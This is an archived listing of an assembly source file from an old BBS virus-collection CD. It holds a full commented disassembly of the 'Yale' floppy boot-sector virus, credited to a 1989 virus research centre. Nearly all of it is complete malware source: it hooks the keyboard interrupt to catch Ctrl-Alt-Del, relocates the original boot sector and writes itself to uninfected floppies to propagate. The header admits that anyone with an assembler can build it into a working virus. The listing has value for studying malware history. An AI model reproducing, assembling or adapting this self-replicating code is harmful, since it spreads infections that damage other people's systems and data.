home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / YALE-ASM.ASM < prev    next >
Assembly Source File  |  1992-05-21  |  12KB  |  365 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24.     page    65,132
  25.     title    The 'Yale' Virus
  26. ; ╔══════════════════════════════════════════════════════════════════════════╗
  27. ; ║                 British Computer Virus Research Centre                   ║
  28. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  29. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  30. ; ║                                                                          ║
  31. ; ║                            The 'Yale' Virus                              ║
  32. ; ║                Disassembled by Joe Hirst,      April 1989                ║
  33. ; ║                                                                          ║
  34. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  35. ; ║                                                                          ║
  36. ; ║      This listing is only to be made available to virus researchers      ║
  37. ; ║                or software writers on a need-to-know basis.              ║
  38. ; ╚══════════════════════════════════════════════════════════════════════════╝
  39.  
  40.     ; The virus consists of a boot sector only on a floppy disk.
  41.     ; The original boot sector is kept at track thirty-nine, head zero,
  42.     ; sector eight.
  43.  
  44.     ; The disassembly has been tested by re-assembly using MASM 5.0
  45.     ; Note that this does not create an identical program, as the original
  46.     ; appears to have been assembled with A86
  47.  
  48.     ; MASM would not assemble the instruction at offset 003CH (7C3CH)
  49.     ; This instruction is undefined on an 8088/8086, and illegal
  50.     ; on a 80286/80386.
  51.  
  52.     ; The program requires an origin address of 7C00H for the first sector
  53.     ; to load and run as a boot sector
  54.  
  55.     ; System variables are defined in either RAM or BOOT (or both)
  56.     ; depending on the segment used by the program
  57.  
  58. RAM    SEGMENT AT 400H
  59.  
  60.     ; System RAM fields
  61.  
  62.     ORG    13H
  63. BW0413    DW    ?            ; Total RAM size
  64.     ORG    17H
  65. BB0417    DB    ?            ; Key toggles
  66.     ORG    72H
  67. BW0472    DW    ?            ; System reset word
  68.  
  69. RAM    ENDS
  70.  
  71. BOOT    SEGMENT AT 0
  72.  
  73.     ; Interrupt addresses
  74.  
  75.     ORG    24H
  76. BW0024    DW    ?            ; Interrupt 9 offset
  77. BW0026    DW    ?            ; Interrupt 9 segment
  78.     ORG    64H
  79. BW0064    DW    ?            ; Interrupt 19H offset
  80. BW0066    DW    ?            ; Interrupt 19H segment
  81.  
  82.     ; System RAM fields
  83.  
  84.     ORG    410H
  85. DW0410    DW    ?            ; System configuration
  86.     ORG    413H
  87. DW0413    DW    ?            ; Total RAM size
  88.  
  89.     ; BIOS field
  90.  
  91.     ORG    0E502H
  92. DWE502    DW    ?
  93.  
  94. BOOT    ENDS
  95.  
  96. CODE    SEGMENT BYTE PUBLIC 'CODE'
  97.  
  98.     ASSUME    CS:CODE,DS:NOTHING
  99.  
  100. START:    CLI
  101.     XOR    AX,AX            ; \ Set SS to zero
  102.     MOV    SS,AX            ; /
  103.     MOV    SP,7C00H        ; Set stack before boot area
  104.     STI
  105.     ASSUME    DS:RAM
  106.     MOV    BX,0040H        ; \ Address RAM area
  107.     MOV    DS,BX            ; /
  108.     MOV    AX,BW0413        ; Get size of RAM
  109.     MUL    BX            ; Convert to paragraphs
  110.     SUB    AX,07E0H        ; Subtract address after boot area
  111.     MOV    ES,AX            ; Target segment
  112.     ASSUME    DS:CODE
  113.     PUSH    CS            ; \ Set DS to CS
  114.     POP    DS            ; /
  115.     CMP    DI,3456H        ; Simulated system reset?
  116.     JNE    BP0010            ; Branch if not
  117.     DEC    GENNUM[7C00H]        ; Decrement generation number
  118. BP0010:    MOV    SI,SP            ; \ Address boot sector area
  119.     MOV    DI,SI            ; /
  120.     MOV    CX,0200H        ; 512 bytes to move
  121.     CLD
  122.     REPZ    MOVSB            ; Copy virus to high core
  123.     MOV    SI,CX            ; Address offset zero
  124.     MOV    DI,7B80H        ; Address interrupt save area
  125.     MOV    CX,0080H        ; 128 bytes to move
  126.     REPZ    MOVSB            ; Save first 32 interrupt pointers
  127.     CALL    BP0030            ; Install interrupt 9 routine
  128.     PUSH    ES            ; \ Transfer to high core
  129. ;    POP    CS            ; /
  130.     DB    0FH            ; This is the previous instruction
  131.     PUSH    DS            ; \ Set ES to DS
  132.     POP    ES            ; /
  133.     MOV    BX,SP            ; Address boot sector area
  134.     MOV    DX,CX            ; A-drive, head zero
  135.     MOV    CX,2708H        ; Track 39, sector 8
  136.     MOV    AX,0201H        ; Read one sector
  137.     INT    13H            ; Disk I/O
  138. BP0020:    JB    BP0020            ; Loop on error
  139.     JMP    BP0190
  140.  
  141.     ; Install interrupt 9 routine
  142.  
  143. BP0030:    DEC    DW0413            ; Decrement RAM size
  144.     MOV    SI,OFFSET BW0024    ; Address INT 9 pointer
  145.     MOV    DI,OFFSET INT_09+7C00H    ; Target far jump
  146.     MOV    CX,4            ; 4 bytes to copy
  147.     CLI
  148.     REPZ    MOVSB            ; Copy far address
  149.     MOV    BW0024,OFFSET BP0050+7C00H ; Install new offset
  150.     MOV    BW0026,ES        ; Install new segment
  151.     STI
  152.     RET
  153.  
  154.     ; Ctrl-Alt-Del depressed - acknowledge keyboard signal
  155.  
  156. BP0040:    IN    AL,61H            ; Get port B
  157.     MOV    AH,AL            ; Save current state
  158.     OR    AL,80H            ; Turn top bit on
  159.     OUT    61H,AL            ; Set port B
  160.     XCHG    AL,AH            ; Get original state
  161.     OUT    61H,AL            ; Reset port B
  162.     JMP    SHORT BP0110
  163.  
  164.     ; Format table for track 39, head zero, 8 sectors (unused)
  165.  
  166.     DB    027H, 000H, 001H, 002H
  167.     DB    027H, 000H, 002H, 002H
  168.     DB    027H, 000H, 003H, 002H
  169.     DB    027H, 000H, 004H, 002H
  170.     DB    027H, 000H, 005H, 002H
  171.     DB    027H, 000H, 006H, 002H
  172.     DB    027H, 000H, 007H, 002H
  173.     DB    027H, 000H, 008H, 002H
  174.  
  175.     ; Rubbish
  176.  
  177.     DB    024H, 000H, 0ADH, 07CH, 0A3H, 026H, 000H, 059H
  178.     DB    05FH, 05EH, 007H, 01FH, 058H, 09DH, 0EAH, 011H
  179.     DB    011H, 011H, 011H
  180.  
  181.     ; Interrupt 9 routine
  182.  
  183. BP0050:    PUSHF
  184.     STI
  185.     PUSH    AX
  186.     PUSH    BX
  187.     PUSH    DS
  188.     PUSH    CS            ; \ Set DS to CS
  189.     POP    DS            ; /
  190.     ASSUME    DS:CODE
  191.     MOV    BX,KYSTAT[7C00H]    ; Get Ctrl & Alt key states
  192.     IN    AL,60H            ; Get keyboard token
  193.     MOV    AH,AL            ; Save keyboard token
  194.     AND    AX,887FH
  195.     CMP    AL,1DH            ; Was key Ctrl?
  196.     JNE    BP0060            ; Branch if not
  197.     MOV    BL,AH            ; Save Ctrl key state
  198.     JMP    SHORT BP0080
  199.  
  200. BP0060:    CMP    AL,38H            ; Was key Alt?
  201.     JNE    BP0070            ; Branch if not
  202.     MOV    BH,AH            ; Save Alt key state
  203.     JMP    SHORT BP0080
  204.  
  205. BP0070:    CMP    BX,0808H        ; Are Ctrl & Alt depressed?
  206.     JNE    BP0080            ; Branch if not
  207.     CMP    AL,17H            ; Is key I?
  208.     JE    BP0100            ; Branch if yes
  209.     CMP    AL,53H            ; Is key Del?
  210.     JE    BP0040            ; Branch if yes
  211. BP0080:    MOV    KYSTAT[7C00H],BX    ; Save Ctrl & Alt key states
  212. BP0090:    POP    DS
  213.     POP    BX
  214.     POP    AX
  215.     POPF
  216.     DB    0EAH            ; Far jump to original INT 9
  217. INT_09    DW    0E987H, 0F000H
  218.  
  219.     ; Pass on Ctrl-Alt-I
  220.  
  221. BP0100:    JMP    BP0240            ; Ctrl-Alt-I
  222.  
  223.     ; Ctrl-Alt-Del depressed - main processing
  224.  
  225. BP0110:    MOV    DX,03D8H        ; VDU mode control address
  226.     MOV    AX,0800H        ; Delay eight cycles
  227.     OUT    DX,AL            ; Disable display
  228.     CALL    BP0250            ; Delay
  229.     MOV    KYSTAT[7C00H],AX    ; Reset Ctrl & Alt key states
  230.     MOV    AL,3            ; Mode three
  231.     INT    10H            ; VDU I/O
  232.     MOV    AH,2            ; Set cursor address function
  233.     XOR    DX,DX            ; Row zero, column zero
  234.     MOV    BH,DH            ; Page zero
  235.     INT    10H            ; VDU I/O
  236.     MOV    AH,1            ; Set cursor size function
  237.     MOV    CX,0607H        ; Cursor lines 6 to 7
  238.     INT    10H            ; VDU I/O
  239.     MOV    AX,0420H        ; Delay 4 cycles
  240.     CALL    BP0250            ; Delay
  241.     CLI
  242.     OUT    20H,AL            ; End of interrupt
  243.     MOV    ES,CX            ; Address segment zero
  244.     MOV    DI,CX            ; Address offset zero
  245.     MOV    SI,7B80H        ; Address interrupt save area
  246.     MOV    CX,0080H        ; 128 bytes to move
  247.     CLD
  248.     REPZ    MOVSB            ; Restore first 32 interrupt pointers
  249.     MOV    DS,CX            ; Address zero
  250.     MOV    BW0064,OFFSET BP0130+7C00H ; Install Int 19H offset
  251.     MOV    BW0066,CS        ; Install Int 19H segment
  252.     ASSUME    DS:RAM
  253.     MOV    AX,0040H        ; \ Address RAM area
  254.     MOV    DS,AX            ; /
  255.     MOV    BB0417,AH        ; Set key toggles off
  256.     INC    BW0413            ; Restore RAM size
  257.     PUSH    DS
  258.     ASSUME    DS:BOOT
  259.     MOV    AX,0F000H        ; \ Address BIOS
  260.     MOV    DS,AX            ; /
  261.     CMP    DWE502,21E4H        ; Is BIOS instruction  IN  AL,21H?
  262.     POP    DS
  263.     JE    BP0120            ; Branch if yes
  264.     INT    19H            ; Disk bootstrap
  265.  
  266. BP0120:    DB    0EAH            ; Far jump to BIOS routine
  267.     DW    0E502H, 0F000H
  268.  
  269.     ; Interrupt 19H routine
  270.  
  271.     ASSUME    DS:BOOT
  272. BP0130:    XOR    AX,AX            ; \ Set DS to zero
  273.     MOV    DS,AX            ; /
  274.     MOV    AX,DW0410        ; Get system configuration
  275.     TEST    AL,1            ; Is there a floppy disk
  276.     JNZ    BP0150            ; Branch if yes
  277. BP0140:    PUSH    CS            ; \ Set ES to CS
  278.     POP    ES            ; /
  279.     CALL    BP0030            ; Install interrupt 9 routine
  280.     INT    18H            ; Basica (IBM only)
  281.  
  282. BP0150:    MOV    CX,4            ; Retry four times
  283. BP0160:    PUSH    CX            ; Save retry count
  284.     MOV    AH,0            ; Reset disk sub-system
  285.     INT    13H            ; Disk I/O
  286.     JB    BP0170            ; Branch if error
  287.     MOV    AX,0201H        ; Read one sector
  288.     PUSH    DS            ; \ Set ES to DS
  289.     POP    ES            ; /
  290.     MOV    BX,7C00H        ; Boot sector buffer
  291.     MOV    CX,1            ; Track zero, sector one
  292.     INT    13H            ; Disk I/O
  293. BP0170:    POP    CX            ; Retrieve retry count
  294.     JNB    BP0180            ; Branch if no error
  295.     LOOP    BP0160            ; Retry
  296.     JMP    BP0140
  297.  
  298. BP0180:    CMP    DI,3456H        ; Simulated system reset?
  299.     JNE    BP0200            ; Branch if not
  300. BP0190:    DB    0EAH            ; Far jump to boot sector area
  301.     DW    7C00H, 0
  302.  
  303. BP0200:    MOV    SI,7C00H        ; Boot sector area
  304.     MOV    CX,OFFSET INT_09    ; Length to compare
  305.     MOV    DI,SI            ; Virus offset
  306.     PUSH    CS            ; \ Set ES to CS
  307.     POP    ES            ; /
  308.     CLD
  309.     REPZ    CMPSB            ; Is boot sector infected?
  310.     JE    BP0220            ; Branch if yes
  311.     INC    ES:GENNUM[7C00H]    ; Increment generation number
  312.     MOV    BX,7C7AH        ; Address format table
  313.     MOV    DX,0            ; Head zero, drive zero
  314.     MOV    CH,27H            ; Track 39
  315.     MOV    AH,5            ; Format track 
  316.     JMP    SHORT BP0210        ; This line was probably an INT 13H
  317.  
  318.     JB    BP0230            ; Error branch for deleted INT 13H
  319. BP0210:    MOV    ES,DX            ; \ Write from boot sector area
  320.     MOV    BX,7C00H        ; /
  321.     MOV    CL,8            ; Sector eight
  322.     MOV    AX,0301H        ; Write one sector
  323.     INT    13H            ; Disk I/O
  324.     PUSH    CS            ; \ Set ES to CS
  325.     POP    ES            ; /
  326.     JB    BP0230            ; Branch if error
  327.     MOV    CX,1            ; Track zero, sector one
  328.     MOV    AX,0301H        ; Write one sector
  329.     INT    13H            ; Disk I/O
  330.     JB    BP0230            ; Branch if error
  331. BP0220:    MOV    DI,3456H        ; Signal simulated system reset
  332.     INT    19H            ; Disk bootstrap
  333.  
  334. BP0230:    CALL    BP0030            ; Install interrupt 9 routine
  335.     DEC    ES:GENNUM[7C00H]    ; Decrement generation number
  336.     JMP    BP0190
  337.  
  338.     ; Ctrl-Alt-I
  339.  
  340.     ASSUME    DS:CODE
  341. BP0240:    MOV    KYSTAT[7C00H],BX    ; Save Ctrl & Alt key states
  342.     MOV    AX,GENNUM[7C00H]    ; Get generation number
  343.     ASSUME    DS:RAM
  344.     MOV    BX,0040H        ; \ Address RAM area
  345.     MOV    DS,BX            ; /
  346.     MOV    BW0472,AX        ; Generation to system reset word
  347.     JMP    BP0090            ; Pass on to original interrupt
  348.  
  349.     ; Delay
  350.  
  351. BP0250:    SUB    CX,CX            ; Maximum count
  352. BP0260:    LOOP    BP0260            ; Delay loop
  353.     SUB    AH,1            ; Decrement count
  354.     JNZ    BP0260            ; Repeat loop
  355.     RET
  356.  
  357.     DB    027H, 000H, 008H, 002H    ; Last sector of format table
  358. GENNUM    DW    016H            ; Generation number
  359. KYSTAT    DW    0            ; Ctrl & Alt key states
  360.     DB    027H, 000H, 008H, 002H    ; Last sector of format table
  361.  
  362. CODE    ENDS
  363.  
  364.     END    START
  365.